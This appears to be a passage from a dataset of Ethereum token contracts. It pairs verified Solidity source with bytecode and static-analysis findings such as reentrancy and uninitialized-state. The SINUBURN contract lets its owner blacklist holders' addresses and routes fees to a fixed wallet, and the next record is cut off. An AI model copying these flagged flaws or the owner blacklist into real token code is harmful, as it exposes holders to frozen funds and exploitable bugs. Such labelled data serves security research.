60a81b900460ff16155b80156110b357506015546001600160a01b03868116911614155b80156110c85750601554600160b01b900460ff165b80156110ed57506001600160a01b03851660009081526005602052604090205460ff16155b801561111257506001600160a01b03841660009081526005602052604090205460ff16155b156111325761112082611338565b4780156111305761113047611276565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061117757506001600160a01b03831660009081526005602052604090205460ff165b806111a957506015546001600160a01b038581169116148015906111a957506015546001600160a01b03848116911614155b156111b657506000611230565b6015546001600160a01b0385811691161480156111e157506014546001600160a01b03848116911614155b156111f357600854600c55600954600d555b6015546001600160a01b03848116911614801561121e57506014546001600160a01b03858116911614155b1561123057600a54600c55600b54600d555b610abd848484846114c1565b600081848411156112605760405162461bcd60e51b815260040161064d9190611979565b50600061126d8486611c39565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156112b0573d6000803e3d6000fd5b5050565b600060065482111561131b5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161064d565b60006113256114ef565b90506113318382611512565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061138057611380611bda565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156113d457600080fd5b505afa1580156113e8573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061140c9190611c50565b8160018151811061141f5761141f611bda565b6001600160a01b0392831660209182029290920101526014546114459130911684610bdc565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac9479061147e908590600090869030904290600401611c6d565b600060405180830381600087803b15801561149857600080fd5b505af11580156114ac573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b806114ce576114ce611554565b6114d9848484611582565b80610abd57610abd600e54600c55600f54600d55565b60008060006114fc611679565b909250905061150b8282611512565b9250505090565b600061133183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506116bb565b600c541580156115645750600d54155b1561156b57565b600c8054600e55600d8054600f5560009182905555565b600080600080600080611594876116e9565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506115c69087611746565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115f59086611788565b6001600160a01b038916600090815260026020526040902055611617816117e7565b6116218483611831565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161166691815260200190565b60405180910390a3505050505050505050565b6006546000908190683635c9adc5dea000006116958282611512565b8210156116b257505060065492683635c9adc5dea0000092509050565b90939092509050565b600081836116dc5760405162461bcd60e51b815260040161064d9190611979565b50600061126d8486611cde565b60008060008060008060008060006117068a600c54600d54611855565b92509250925060006117166114ef565b905060008060006117298e8787876118aa565b919e509c509a509598509396509194505050505091939550919395565b600061133183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061123c565b6000806117958385611c21565b9050838110156113315760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161064d565b60006117f16114ef565b905060006117ff83836118fa565b3060009081526002602052604090205490915061181c9082611788565b30600090815260026020526040902055505050565b60065461183e9083611746565b60065560075461184e9082611788565b6007555050565b600080808061186f606461186989896118fa565b90611512565b9050600061188260646118698a896118fa565b9050600061189a826118948b86611746565b90611746565b9992985090965090945050505050565b60008080806118b988866118fa565b905060006118c788876118fa565b905060006118d588886118fa565b905060006118e7826118948686611746565b939b939a50919850919650505050505050565b600082611909575060006105b4565b60006119158385611d00565b9050826119228583611cde565b146113315760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161064d565b600060208083528351808285015260005b818110156119a65785810183015185820160400152820161198a565b818111156119b8576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b03811681146106bc57600080fd5b600080604083850312156119f657600080fd5b8235611a01816119ce565b946020939093013593505050565b600080600060608486031215611a2457600080fd5b8335611a2f816119ce565b92506020840135611a3f816119ce565b929592945050506040919091013590565b80358015158114611a6057600080fd5b919050565b600060208284031215611a7757600080fd5b61133182611a50565b600060208284031215611a9257600080fd5b8135611331816119ce565b600060208284031215611aaf57600080fd5b5035919050565b60008060008060808587031215611acc57600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611afd57600080fd5b833567ffffffffffffffff80821115611b1557600080fd5b818601915086601f830112611b2957600080fd5b813581811115611b3857600080fd5b8760208260051b8501011115611b4d57600080fd5b602092830195509350611b639186019050611a50565b90509250925092565b60008060408385031215611b7f57600080fd5b8235611b8a816119ce565b91506020830135611b9a816119ce565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611c1a57611c1a611bf0565b5060010190565b60008219821115611c3457611c34611bf0565b500190565b600082821015611c4b57611c4b611bf0565b500390565b600060208284031215611c6257600080fd5b8151611331816119ce565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611cbd5784516001600160a01b031683529383019391830191600101611c98565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611cfb57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611d1a57611d1a611bf0565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220e84381e6d3d699a2252e95421342d063ff224773403ea220603941efbad4d89264736f6c63430008090033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}]}}
9,547
0x6568f71459f6d3A39Df93A8570BB22fd6B358410
/** *Submitted for verification at Etherscan.io on 2022-04-27 */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { _transferOwnership(_msgSender()); } function owner() public view virtual returns (address) { return _owner; } modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } contract SINUBURN is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "SINU BURN"; string private constant _symbol = "SBURN"; uint8 private constant _decimals = 9; mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant totalTokens = 100 * 10**8 * 10**9; uint256 public _maxWalletAmount = 3 * 10**8 * 10**9; uint256 public thresholdSwap = 1 * 10**8 * 10**9; uint256 public liqBuys = 0; uint256 public sinuProjectBuys = 3; uint256 public liqSells = 3; uint256 public sinuProjectSells = 0; uint256 private _previousLiqFee = liqFee; uint256 private _previousSinuProjectFee = sinuProjectTax; uint256 private liqFee; uint256 private sinuProjectTax; struct FeeBreakdown { uint256 tLiquidity; uint256 tMarketing; uint256 tAmount; } mapping(address => bool) private bots; address payable private sinuProjectWallet = payable(0x4F806c4a5F533D961C5d7389C9604667E2f379a1); address payable private deployWallet = payable(0x45D95C424b85fE35785D1FcA5f238046Ef4ad7Bd); IUniswapV2Router02 private uniswapV2Router; address public uniswapV2Pair; bool private inSwap = false; modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), totalTokens); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type(uint256).max); _balances[_msgSender()] = totalTokens; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[sinuProjectWallet] = true; _isExcludedFromFee[address(this)] = true; emit Transfer(address(0), _msgSender(), totalTokens); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() external pure override returns (uint256) { return totalTokens; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) external override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) external view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) external override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) { _transfer(sender, recipient, amount); _approve(sender,_msgSender(),_allowances[sender][_msgSender()].sub(amount,"ERC20: transfer amount exceeds allowance")); return true; } function removeAllFee() private { if (sinuProjectTax == 0 && liqFee == 0) return; _previousSinuProjectFee = sinuProjectTax; _previousLiqFee = liqFee; sinuProjectTax = 0; liqFee = 0; } function restoreAllFee() private { liqFee = _previousLiqFee; sinuProjectTax = _previousSinuProjectFee; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(!bots[from] && !bots[to]); bool takeFee = true; if (from != owner() && to != owner() && from != address(this) && to != address(this)) { if (from == uniswapV2Pair && to != address(uniswapV2Router)) { require(balanceOf(to).add(amount) <= _maxWalletAmount, "wallet balance after transfer must be less than max wallet amount"); } if (from == uniswapV2Pair && to != address(uniswapV2Router) && !bots[to]) { liqFee = liqBuys; sinuProjectTax = sinuProjectBuys; } if (to == uniswapV2Pair && from != address(uniswapV2Router)) { liqFee = liqSells; sinuProjectTax = sinuProjectSells; } if (!inSwap && from != uniswapV2Pair) { uint256 contractTokenBalance = balanceOf(address(this)); if (contractTokenBalance > thresholdSwap) { swapAndLiquify(contractTokenBalance); } uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); restoreAllFee(); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, address(this), block.timestamp); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { _approve(address(this), address(uniswapV2Router), tokenAmount); // add the liquidity uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable deployWallet, block.timestamp ); } function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap { uint256 autoLPamount = liqFee.mul(contractTokenBalance).div(sinuProjectTax.add(liqFee)); uint256 half = autoLPamount.div(2); uint256 otherHalf = contractTokenBalance.sub(half); uint256 initialBalance = address(this).balance; swapTokensForEth(otherHalf); uint256 newBalance = ((address(this).balance.sub(initialBalance)).mul(half)).div(otherHalf); addLiquidity(half, newBalance); } function setSwappingThreshold(uint256 _thresholdSwap) external { require(_msgSender() == sinuProjectWallet); thresholdSwap = _thresholdSwap; } function sendETHToFee(uint256 amount) private { sinuProjectWallet.transfer(amount); } function manualSwap() external { require(_msgSender() == sinuProjectWallet); uint256 contractBalance = balanceOf(address(this)); if (contractBalance > 0) { swapTokensForEth(contractBalance); } } function manualSend() external { require(_msgSender() == sinuProjectWallet); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(contractETHBalance); } } function blacklist(address _address) external onlyOwner() { bots[_address] = true; } function removeFromBlacklist(address _address) external onlyOwner() { bots[_address] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if (!takeFee) { removeAllFee(); } _transferStandard(sender, recipient, amount); restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 amount) private { FeeBreakdown memory fees; fees.tMarketing = amount.mul(sinuProjectTax).div(100); fees.tLiquidity = amount.mul(liqFee).div(100); fees.tAmount = amount.sub(fees.tMarketing).sub(fees.tLiquidity); _balances[sender] = _balances[sender].sub(amount); _balances[recipient] = _balances[recipient].add(fees.tAmount); _balances[address(this)] = _balances[address(this)].add(fees.tMarketing.add(fees.tLiquidity)); emit Transfer(sender, recipient, fees.tAmount); } receive() external payable {} function setMaxWalletAmount(uint256 maxWalletAmount) external { require(_msgSender() == sinuProjectWallet); require(maxWalletAmount > totalTokens.div(200), "Amount must be greater than 0.5% of supply"); require(maxWalletAmount <= totalTokens, "Amount must be less than or equal to totalSupply"); _maxWalletAmount = maxWalletAmount; } }
0x60806040526004361061016a5760003560e01c806351bc3c85116100d157806395d89b411161008a578063ed7ab56b11610064578063ed7ab56b14610469578063f2fde38b1461047f578063f42938901461049f578063f9f92be4146104b457600080fd5b806395d89b41146103d5578063a9059cbb14610403578063dd62ed3e1461042357600080fd5b806351bc3c8514610321578063537df3b6146103365780636c0a24eb1461035657806370a082311461036c578063715018a6146103a25780638da5cb5b146103b757600080fd5b806327a14fc21161012357806327a14fc21461026b578063313ce5671461028b5780633cb7ab53146102a757806341a95db1146102bd57806342636559146102d357806349bd5a5e146102e957600080fd5b806306fdde0314610176578063095ea7b3146101ba5780630a08c524146101ea578063105537491461020c57806318160ddd1461023057806323b872dd1461024b57600080fd5b3661017157005b600080fd5b34801561018257600080fd5b5060408051808201909152600981526829a4a72a90212aa92760b91b60208201525b6040516101b191906115f4565b60405180910390f35b3480156101c657600080fd5b506101da6101d5366004611584565b6104d4565b60405190151581526020016101b1565b3480156101f657600080fd5b5061020a6102053660046115af565b6104eb565b005b34801561021857600080fd5b5061022260095481565b6040519081526020016101b1565b34801561023c57600080fd5b50678ac7230489e80000610222565b34801561025757600080fd5b506101da610266366004611544565b610510565b34801561027757600080fd5b5061020a6102863660046115af565b610579565b34801561029757600080fd5b50604051600981526020016101b1565b3480156102b357600080fd5b5061022260055481565b3480156102c957600080fd5b5061022260065481565b3480156102df57600080fd5b5061022260075481565b3480156102f557600080fd5b50601254610309906001600160a01b031681565b6040516001600160a01b0390911681526020016101b1565b34801561032d57600080fd5b5061020a610688565b34801561034257600080fd5b5061020a6103513660046114d4565b6106ca565b34801561036257600080fd5b5061022260045481565b34801561037857600080fd5b506102226103873660046114d4565b6001600160a01b031660009081526001602052604090205490565b3480156103ae57600080fd5b5061020a610715565b3480156103c357600080fd5b506000546001600160a01b0316610309565b3480156103e157600080fd5b5060408051808201909152600581526429a12aa92760d91b60208201526101a4565b34801561040f57600080fd5b506101da61041e366004611584565b61074b565b34801561042f57600080fd5b5061022261043e36600461150c565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b34801561047557600080fd5b5061022260085481565b34801561048b57600080fd5b5061020a61049a3660046114d4565b610758565b3480156104ab57600080fd5b5061020a6107f0565b3480156104c057600080fd5b5061020a6104cf3660046114d4565b610820565b60006104e133848461086e565b5060015b92915050565b600f546001600160a01b0316336001600160a01b03161461050b57600080fd5b600555565b600061051d848484610992565b61056f843361056a85604051806060016040528060288152602001611786602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190610dbe565b61086e565b5060019392505050565b600f546001600160a01b0316336001600160a01b03161461059957600080fd5b6105ac678ac7230489e8000060c8610df8565b81116106125760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d7573742062652067726561746572207468616e20302e3525604482015269206f6620737570706c7960b01b60648201526084015b60405180910390fd5b678ac7230489e800008111156106835760405162461bcd60e51b815260206004820152603060248201527f416d6f756e74206d757374206265206c657373207468616e206f72206571756160448201526f6c20746f20746f74616c537570706c7960801b6064820152608401610609565b600455565b600f546001600160a01b0316336001600160a01b0316146106a857600080fd5b3060009081526001602052604090205480156106c7576106c781610e41565b50565b6000546001600160a01b031633146106f45760405162461bcd60e51b815260040161060990611647565b6001600160a01b03166000908152600e60205260409020805460ff19169055565b6000546001600160a01b0316331461073f5760405162461bcd60e51b815260040161060990611647565b6107496000610fe6565b565b60006104e1338484610992565b6000546001600160a01b031633146107825760405162461bcd60e51b815260040161060990611647565b6001600160a01b0381166107e75760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610609565b6106c781610fe6565b600f546001600160a01b0316336001600160a01b03161461081057600080fd5b4780156106c7576106c781611036565b6000546001600160a01b0316331461084a5760405162461bcd60e51b815260040161060990611647565b6001600160a01b03166000908152600e60205260409020805460ff19166001179055565b6001600160a01b0383166108d05760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610609565b6001600160a01b0382166109315760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610609565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166109f65760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610609565b6001600160a01b038216610a585760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610609565b60008111610aba5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610609565b6001600160a01b0383166000908152600e602052604090205460ff16158015610afc57506001600160a01b0382166000908152600e602052604090205460ff16155b610b0557600080fd5b6001610b196000546001600160a01b031690565b6001600160a01b0316846001600160a01b031614158015610b4857506000546001600160a01b03848116911614155b8015610b5d57506001600160a01b0384163014155b8015610b7257506001600160a01b0383163014155b15610d53576012546001600160a01b038581169116148015610ba257506011546001600160a01b03848116911614155b15610c5157600454610bd383610bcd866001600160a01b031660009081526001602052604090205490565b90611074565b1115610c515760405162461bcd60e51b815260206004820152604160248201527f77616c6c65742062616c616e6365206166746572207472616e73666572206d7560448201527f7374206265206c657373207468616e206d61782077616c6c657420616d6f756e6064820152601d60fa1b608482015260a401610609565b6012546001600160a01b038581169116148015610c7c57506011546001600160a01b03848116911614155b8015610ca157506001600160a01b0383166000908152600e602052604090205460ff16155b15610cb357600654600c55600754600d555b6012546001600160a01b038481169116148015610cde57506011546001600160a01b03858116911614155b15610cf057600854600c55600954600d555b601254600160a01b900460ff16158015610d1857506012546001600160a01b03858116911614155b15610d535730600090815260016020526040902054600554811115610d4057610d40816110d3565b478015610d5057610d5047611036565b50505b6001600160a01b03841660009081526003602052604090205460ff1680610d9257506001600160a01b03831660009081526003602052604090205460ff165b15610d9b575060005b610da78484848461115e565b610db8600a54600c55600b54600d55565b50505050565b60008184841115610de25760405162461bcd60e51b815260040161060991906115f4565b506000610def8486611743565b95945050505050565b6000610e3a83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611176565b9392505050565b6012805460ff60a01b1916600160a01b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610e9757634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152601154604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b158015610eeb57600080fd5b505afa158015610eff573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f2391906114f0565b81600181518110610f4457634e487b7160e01b600052603260045260246000fd5b6001600160a01b039283166020918202929092010152601154610f6a913091168461086e565b60115460405163791ac94760e01b81526001600160a01b039091169063791ac94790610fa390859060009086903090429060040161167c565b600060405180830381600087803b158015610fbd57600080fd5b505af1158015610fd1573d6000803e3d6000fd5b50506012805460ff60a01b1916905550505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b600f546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015611070573d6000803e3d6000fd5b5050565b60008061108183856116ec565b905083811015610e3a5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610609565b6012805460ff60a01b1916600160a01b179055600c54600d5460009161110f916110fc91611074565b600c5461110990856111a4565b90610df8565b9050600061111e826002610df8565b9050600061112c8483611223565b90504761113882610e41565b6000611152836111098661114c4787611223565b906111a4565b9050610fd18482611265565b8061116b5761116b611328565b610da7848484611356565b600081836111975760405162461bcd60e51b815260040161060991906115f4565b506000610def8486611704565b6000826111b3575060006104e5565b60006111bf8385611724565b9050826111cc8583611704565b14610e3a5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610609565b6000610e3a83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610dbe565b60115461127d9030906001600160a01b03168461086e565b60115460105460405163f305d71960e01b81523060048201526024810185905260006044820181905260648201526001600160a01b0391821660848201524260a482015291169063f305d71990839060c4016060604051808303818588803b1580156112e857600080fd5b505af11580156112fc573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061132191906115c7565b5050505050565b600d541580156113385750600c54155b1561133f57565b600d8054600b55600c8054600a5560009182905555565b61137a60405180606001604052806000815260200160008152602001600081525090565b6113946064611109600d54856111a490919063ffffffff16565b6020820152600c546113ae906064906111099085906111a4565b80825260208201516113cc91906113c6908590611223565b90611223565b6040808301919091526001600160a01b0385166000908152600160205220546113f59083611223565b6001600160a01b0380861660009081526001602052604080822093909355838301519186168152919091205461142a91611074565b6001600160a01b0384166000908152600160209081526040909120919091558151908201516114739161145d9190611074565b3060009081526001602052604090205490611074565b30600090815260016020908152604091829020929092558281015190519081526001600160a01b0385811692908716917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a350505050565b6000602082840312156114e5578081fd5b8135610e3a81611770565b600060208284031215611501578081fd5b8151610e3a81611770565b6000806040838503121561151e578081fd5b823561152981611770565b9150602083013561153981611770565b809150509250929050565b600080600060608486031215611558578081fd5b833561156381611770565b9250602084013561157381611770565b929592945050506040919091013590565b60008060408385031215611596578182fd5b82356115a181611770565b946020939093013593505050565b6000602082840312156115c0578081fd5b5035919050565b6000806000606084860312156115db578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b8181101561162057858101830151858201604001528201611604565b818111156116315783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b818110156116cb5784516001600160a01b0316835293830193918301916001016116a6565b50506001600160a01b03969096166060850152505050608001529392505050565b600082198211156116ff576116ff61175a565b500190565b60008261171f57634e487b7160e01b81526012600452602481fd5b500490565b600081600019048311821515161561173e5761173e61175a565b500290565b6000828210156117555761175561175a565b500390565b634e487b7160e01b600052601160045260246000fd5b6001600160a01b03811681146106c757600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122042492bc1ec4c7c5a0d9c53e884d047ad5bdb656cc62aec339a51b5a3a00a082264736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
9,548
0xa7c6259c69e3db6dd35963d72d31c7c43d7ba6d6
/* 🔥 🔥 🔥 I am the hope of the universe. I am the answer to all living things that cry out for peace. I am protector of the innocent. I am the light in the darkness. I am truth. Ally to good! Nightmare to you! 🔥 🔥 🔥 Website: https://babygoku.io Twitter: https://twitter.com/BabyGokuETH Telegram: https://t.me/BabyGoku_Official Liquidity Locked Ownership renounced SPDX-License-Identifier: Unlicensed */ pragma solidity 0.8.6; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier 